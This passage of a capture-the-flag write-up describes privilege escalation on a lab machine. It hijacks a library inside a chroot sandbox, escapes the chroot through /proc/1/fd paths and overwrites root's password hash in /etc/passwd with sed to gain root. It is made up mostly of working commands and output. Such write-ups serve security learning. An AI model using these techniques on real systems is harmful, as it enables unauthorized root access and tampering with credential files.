libtinfo.so.6 => /lib/x86_64-linux-gnu/libtinfo.so.6 (0x00007fd3ac155000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd3ac14f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd3abf8a000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd3ac2c4000)
So this is the updated .copy.sh
:
#!/usr/bin/env bash
dir=/var/www/malscanner/sandbox/jails
for jail in $(ls $dir); do
cp /lib/x86_64-linux-gnu/libcrypto.so.1.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libdl.so.2 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpthread.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libtinfo.so.6 $dir/$jail/lib/x86_64-linux-gnu/
cp /bin/bash $dir/$jail/bin
cp /tmp/.libz.so.1 $dir/$jail/lib/x86_64-linux-gnu/libz.so.1
done
Now we perform the attack again:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
clarence@scanned:/tmp$ bash .copy.sh
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
bash-5.1# Killed subprocess
Exited
Notice the #
, so we got bash
executed as root
, but it gets killed after 5 seconds…
Privilege escalation
In order to get a proper shell as root
, I decided to modify /etc/passwd
and set a given password for root
using openssl
(DES Unix format):
$ openssl passwd 7rocky
gf2QeNVUpedfI
To modify /etc/passwd
I will use sed
, so again I will need to copy /usr/bin/sed
and more shared libraries into the jail:
clarence@scanned:/tmp$ ldd /usr/bin/sed
linux-vdso.so.1 (0x00007fffcbeea000)
libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007fe73de49000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fe73de1d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe73dc58000)
libpcre2-8.so.0 => /lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fe73dbc0000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe73dbba000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe73de7a000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fe73db98000)
This is the updated .copy.sh
:
#!/usr/bin/env bash
dir=/var/www/malscanner/sandbox/jails
for jail in $(ls $dir); do
cp /lib/x86_64-linux-gnu/libacl.so.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libcrypto.so.1.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libdl.so.2 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpcre2-8.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libpthread.so.0 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libselinux.so.1 $dir/$jail/lib/x86_64-linux-gnu/
cp /lib/x86_64-linux-gnu/libtinfo.so.6 $dir/$jail/lib/x86_64-linux-gnu/
cp /bin/bash $dir/$jail/bin
cp /usr/bin/sed $dir/$jail/bin
cp /tmp/.libz.so.1 $dir/$jail/lib/x86_64-linux-gnu/libz.so.1
done
We need to copy this command into clipboard in order to paste it as soon as we get the root
shell (notice that we use /proc/1/fd/3/../../../../../etc/passwd
to escape from chroot
again):
/bin/sed -i s/root:x/root:gf2QeNVUpedfI/g /proc/1/fd/3/../../../../../etc/passwd
Now we perform the library hijacking attack again:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
clarence@scanned:/tmp$ bash .copy.sh
Quickly, copy the command:
clarence@scanned:/var/www/malscanner/sandbox$ ./sandbox /tmp/.exploit
Exited
bash-5.1# /bin/sed -i s/root:x/root:gf2QeNVUpedfI/g /proc/1/fd/3/../../../../../etc/passwd
bash-5.1# Kill err: (3)
And…
clarence@scanned:/tmp$ head -1 /etc/passwd
root:gf2QeNVUpedfI:0:0:root:/root:/bin/bash
We modified /etc/passwd
, so we have access as root
(using password 7rocky
):
clarence@scanned:/tmp$ su root
Password:
root@scanned:/tmp# cat /root/root.txt
8f587d54e14d5747055bb717dd2cc520